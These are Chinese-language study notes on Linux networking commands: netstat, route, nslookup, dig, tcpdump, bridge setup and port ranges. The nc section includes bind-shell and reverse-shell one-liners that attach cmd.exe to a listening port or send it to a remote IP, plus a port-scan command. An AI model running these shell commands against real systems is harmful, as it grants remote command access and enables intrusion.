netstat
-r 显示路由表
-I/i 显示网络接口信息
-s 收发包统计信息
-v 显示详细信息,包括unix socket、连接状态和路径
-e 还能显示user
-p 显示使用它的进程
-l listening
-a 所有的
-n 不解析域名、用户名,直接显示数字
t/u tcp还是udp指定
ping
-c 指定个数
-i 指定时间间隔,按s记
-t 指定ttl
route
route命令用来显示并设置Linux内核中的网络路由表,route命令设置的路由主要是静态路由。直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在/etc/rc.local
中添加route命令来保证该路由设置永久有效。参考地址:http://man.linuxde.net/route
-A:设置地址类型;
-C:打印将Linux核心的路由缓存;
-v:详细信息模式;
-n:不执行DNS反向查找,直接显示数字形式的IP地址;
-e:netstat格式显示路由表;
-net:到一个网络的路由表;
-host:到一个主机的路由表。一般用法:route,route -n
其中Flags为路由标志,标记当前网络节点的状态,Flags标志说明:
- U Up表示此路由当前为启动状态。
- H Host,表示此网关为一主机。
- G Gateway,表示此网关为一路由器。
- R Reinstate Route,使用动态路由重新初始化的路由。
- D Dynamically,此路由是动态性地写入。
- M Modified,此路由是由路由守护程序或导向器动态修改。
- ! 表示此路由当前为关闭状态。
traceroute
跟踪ip路由。
nslookup
nslookup命令用于查询DNS的记录,查看域名解析是否正常,在网络故障的时候用来诊断网络问题。
nslookup domain [dns-server]
https://www.cnblogs.com/earl86/archive/2009/02/06/1666439.html
arp
-a
-s 增加
-d 删除
dig
domain 查看域名解析过程
nc
nc -vv ip port
反弹:nc -l -n 1234 -t -e cmd.exe
nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口
nc -l -p 80 开启本机的TCP 80端口并监听
nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口(超时时间为2s,-z连接成功后立即关闭 )
nc -l -p 5354 -t -e c:windows\system32\cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口
nc -t -e c:windows\system32\cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口
tcpdump
-D 查看可以抓包的网络接口
-i 指定网络接口
-c 指定数据包个数
-w 将抓到的数据写入文件中
-r 读取文件
-nn 不进行域名解析,直接显示数字
指定协议类型:ip,ip6,arp,tcp,udp,wlan,icmp
-A 打印payload的ascii文本
-e 包含mac地址
-s 0 抓取完整数据包
过滤字段:host、src host、dst host、port、src port 、dst port、net
过滤条件连接符:not/and/or
示例:
tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap
tcpdump总的的输出格式为:系统时间 来源主机.端口 > 目标主机.端口 数据包参数
此时间戳的精度与内核时间精度一致, 反映的是内核第一次看到对应数据包的时间
还可以针对数据包传输层标志位进行过滤:https://www.cnblogs.com/ggjucheng/archive/2012/01/14/2322659.html
tcpdump -i eth1 '((tcp) and (port 80) and ((dst host 192.168.1.254) or (dst host 192.168.1.200)))'
tcpdump [ -adeflnNOpqStvx ] [ -c 数量 ] [ -F 文件名 ]
[ -i 网络接口 ] [ -r 文件名] [ -s snaplen ]
[ -T 类型 ] [ -w 文件名 ] [表达式 ]
在windows上或Linux上抓包,如果发现抓的包MTU大于1500,需要设置网卡禁用TSO。为了降低 CPU 的负载,提高网络的出口带宽,
TSO 提供一些较大的缓冲区来缓存 TCP 发送的包,然后由网卡负责把缓存的大包拆分成多个小于 MTU 的包。tcpdump 或者 wireshare
抓取的是网卡上层的包,所以我们可能会观察到大小超过 MTU 的包。Linux禁用tso命令为:ethtool -K ethY tso off。
网桥操作
brctl addbr/delbr br0
brctl addif/delif br0 eth0
ip link set virbr0 up/down 必须down之后才能删除网桥 或者ifup ifdown
brctl setageing br0 0 把所有的网桥都设置这个参数(网桥成hub了),不然网桥接收数据包数量级会少一个单位,200Mbps未丢包
网络端口
0 - 1023: 常用端口和系统端口
1024 - 49151: 软件的注册端口
49152 - 65535: 动态端口或私有端口
其他操作
ss -lntu统计端口信息
sar-n DEV
tcpudump -D
ifstat